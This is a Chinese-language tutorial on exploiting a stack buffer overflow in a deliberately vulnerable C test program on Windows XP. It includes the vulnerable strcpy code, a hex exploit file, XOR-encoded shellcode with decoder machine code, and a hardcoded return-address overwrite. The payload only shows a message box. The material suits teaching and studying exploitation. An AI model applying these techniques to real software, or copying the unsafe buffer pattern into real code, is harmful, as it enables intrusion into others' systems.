shellcode在棧溢出中的利用與優化


0x00 前言

在《Windows Shellcode學習筆記——shellcode的提取與測試》中介紹了如何對shellcode作初步優化,動態獲取Windows API地址並調用,並通過程序實現自動提取機器碼作為shellcode並保存到文件中。

彈框實例shellcode的bin文件已上傳至github,地址如下:

https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin

注:shellcode.bin由getshellcode.cpp生成

getshellcode.cpp地址如下:

https://github.com/3gstudent/Shellcode-Generater/blob/master/getshellcode.cpp

接下來,要研究shellcode在具體環境中的使用和優化技巧

0x01 簡介

先從最入門的緩沖區溢出開始

本文將要結合《0day安全:軟件漏洞分析技術》中的“棧溢出原理與實踐”章節,以其中的棧溢出代碼作樣本,優化我們自己生成的彈框實例shellcode,實現在棧溢出中的初步利用。

0x02 相關概念

棧區:

用於動態地存儲函數之間的調用關系,以保證被調用函數在返回時恢復到母函數中繼續執行

特殊寄存器:

ESP:棧指針寄存器(extended stack pointer),指向棧頂

EBP:基址指針寄存器(extended base pointer),指向棧底

EIP:指令寄存器(extended instruction pointer),指向下一條等待執行的指令地址

函數代碼在棧中保存順序(直觀理解,已省略其他細節):

buffer
前棧幀EBP
返回地址
ESP

函數棧溢出原理(直觀理解,已省略其他細節):

正常情況下函數在返回過程中,最后會執行返回地址中保存的內容,通常是跳到下一條指令的地址

如果buffer長度過長,長到覆蓋了返回地址的值,那么函數在返回時,就會執行被覆蓋的內容

如果將shellcode保存到buffer中,覆蓋的返回地址為shellcode的起始地址,那么,shellcode將得到執行,完成棧溢出的利用

0x03 棧溢出實例測試

樣本代碼如下:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[44];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);
    return authenticated;
}
int main()
{
    int valid_flag=0;
    char password[1024];
    FILE *fp;
    LoadLibrary("user32.dll");
    if(!(fp=fopen("password.txt","rw+")))
        return 0;
    fread(password,56,1,fp);
    valid_flag=verify_password(password);
    if(valid_flag)
    {
        printf("wrong\n");
    }
    else
    {
        printf("right\n");  
    }
    fclose(fp);
    return 0;
}

注:代碼選自章節2.4.2中的實驗代碼,作細微調整 

其中,fscanf(fp,”%s”,password)在遇到空格和換行符時結束,如果shellcode中包含空格(0x20),會被截斷,導致讀取文件不完整

因此,將其替換為fread(password,56,1,fp);

數組password長度為56,數組buffer長度為44,在執行strcpy(buffer,password);時存在棧溢出

根據函數棧溢出原理,實現棧溢出需要以下過程:

(1) 分析並調試程序,獲得淹沒返回地址的偏移

(2) 獲得buffer的起始地址,根據獲得的偏移將其覆蓋返回地址,使得函數返回時執行buffer起始地址保存的代碼

(3) 提取彈框操作的機器碼並保存於buffer的起始地址處,在函數返回時得到執行

測試系統:Win XP
編譯器:VC6.0
build版本: debug版本

(1) 分析並調試程序,獲得淹沒返回地址的偏移

可在password.txt中填入56個測試字符,使用OllyDbg打開程序,定位到函數返回地址

如圖

1488520736823190.png

返回地址剛好被覆蓋

(2) 獲得buffer的起始地址並覆蓋返回地址

如圖

1488520776429447.png

獲得buffer的起始地址:0012FB7C

注:在不同系統下buffer的起始地址不同,使用0012FB7C覆蓋返回地址,即password.txt的53-56位的十六進制字符為7CFB1200(逆序保存)

(3) 提取彈框操作的機器碼

參照《0day安全:軟件漏洞分析技術》中的方法,使用Dependency Walker 獲取ueser32.ll的基地址為0x77D10000 
MessageBoxA的偏移地址為0x000407EA

如圖

000.png

因此MessageBoxA在該系統上內存中的入口地址為0x77D10000+0x000407EA=0x77D507EA

替換書中MessageBoxA對應函數入口地址的機器碼

最終password.txt內容如下(十六進制視圖):

00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S 
00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS戈.誻袗悙悙? 
00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 
00000030h: 90 90 90 90 7C FB 12 00 ; 悙悙|?.

最終程序運行如圖,棧溢出在我們的測試系統上觸發成功

0000.png

0x03 彈框實例shellcode在棧溢出的優化

上節簡單介紹了一下棧溢出實例的原理和操作方法,本節將要介紹如何優化我們自己開發的shellcode,即彈框實例shellcode,結合具體漏洞,實現利用

彈框實例shellcode下載地址:

https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin

shellcode長度1536

(1) 修改實例程序,使其數組足以保存我們的shellcode

完整代碼如下:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
    int authenticated;
    char buffer[1556];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);
    return authenticated;
}
int main()
{
    int valid_flag=0;
    char password[2048]={0};
    FILE *fp;
    if(!(fp=fopen("password2.txt","rb")))
        return 0;
    fread(password,1568,1,fp);
    valid_flag=verify_password(password);
    if(valid_flag)
    {
        printf("wrong\n");
    }
    else
    {
        printf("right\n");
    }
    fclose(fp);
    return 0;
}

buffer長度增大到1556,用於保存彈框實例shellcode

根據上節實例,淹沒返回地址的偏移9-12,因此password的長度增加到1556+12=1568

(2) strcpy遇到字符00會截斷

如圖

1488520924226399.png

彈框實例shellcode在00000009h處字符為0x00,strcpy在執行時遇到0x00會提前截斷,導致shellcode不完整,無法覆蓋返回地址

所以,需要對shellcode進行編碼

為方便讀者理解,參照《0day安全:軟件漏洞分析技術》中3.5.2節的方法(此章節有詳細說明,不再贅述過程):

shellcode尾部添加結束字符0x90
將shellcode逐字節同0x44作異或加密
匯編實現解碼器並提取機器碼
解碼器的機器碼放於shellcode首部
解碼器將EAX對准shellcode起始位置,逐字節同0x44異或進行解密,遇到0x90停止

解碼器的匯編代碼如下:

void main()
{
    __asm
    {
        add eax,0x14
        xor ecx,ecx
decode_loop:
        mov bl,[eax+ecx]
        xor bl,0x44
        mov [eax+ecx],bl
        inc ecx
        cmp bl,0x90
        jne decode_loop
    }
}

使用OllyDbg提取出機器碼如下:

"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"

新的shellcode格式如下:

解碼器機器碼+加密的彈框實例shellcode+0xD4+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

注:

0x90^0x44=0xD4,0xD4即編碼后的結束字符

“\x90\x90\x90\x90\x90\x90\x90”為填充字符串,無意義

“\x7C\xFB\x12\x00”為覆蓋的函數返回地址

(3) 0xD4沖突

如圖

1488521022526157.png

彈框實例shellcode中也包含結束字符0xD4,解密時shellcode會被提前截斷,所以需要選擇一個新的結束字符

當然也可以對shellcode分段加密,針對此shellcode,恰巧0xD5未出現,因此使用0xD5作結束字符串即可,解密字符為0x91

修改后的機器碼如下:

"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"

修改后的shellcode格式如下:

解碼器機器碼+加密的彈框實例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

(4) shellcode編碼測試

編寫程序實現自動讀取原shellcode,加密,添加解密機器碼,添加結束字符

程序已上傳至github

https://github.com/3gstudent/Shellcode-Generater/blob/master/enshellcode.cpp

執行后如圖,產生新的shellcode文件,並在屏幕輸出c格式的shellcode

999.png

使用如下代碼,結合屏幕輸出c格式的shellcode,替換數組內容,對新的加密shellcode測試

由於代碼較長,所以上傳至github,地址如下:

https://github.com/3gstudent/Shellcode-Generater/blob/master/testenshellcode.cpp

如圖,shellcode執行,成功實現解碼器

9999.png

(5) 新shellcode在棧溢出中的測試

填上解碼器機器碼,完整的shellcode格式如下:

"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"+加密的彈框實例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

在棧溢出測試程序中仍然報錯,使用OllyDbg加載繼續調試

如下圖,成功覆蓋函數返回地址,接着按F8進行單步調試

1488521157215066.png

如下圖,此時發現異常,EAX寄存器的值為909090D5,正常情況下EAX的值應該為Buffer的起始地址,這樣才能成功找到shellcode並對其解密

1488521183750685.png

而寄存器EDX卻保存了Buffer的起始地址

所以,我們需要對解碼器作修改

(6) 修改解碼器

選擇一個最簡單直接的方法,將EDX對准shellcode的起始位置,實現的匯編代碼如下:

void main()
{
    __asm
    {
        add edx,0x14
        xor ecx,ecx
decode_loop:
        mov bl,[edx+ecx]
        xor bl,0x44
        mov [edx+ecx],bl
        inc ecx
        cmp bl,0x90
        jne decode_loop
    }
}

在OllyDbg中加載程序並提取機器碼,如圖

888.png

新的解碼器機器碼為:

"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"

最終的shellcode代碼為:

"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"+加密的彈框實例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

完整shellcode代碼已上傳至github,地址為:

https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowshellcode.bin

再次測試棧溢出,如圖,shellcode成功執行

9999.png

由於shellcode是我們自己實現的動態獲取API地址,所以棧溢出測試程序中的LoadLibrary(“user32.dll”); 可以省略

0x04 小結

本文對棧溢出原理作了簡要描述,着重介紹了在具體的棧溢出環境下,shellcode的優化、調試和利用技巧

當然,上述shellcode存在一個不足:shellcode在內存中的起始地址往往不固定,導致漏洞利用不一定成功


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM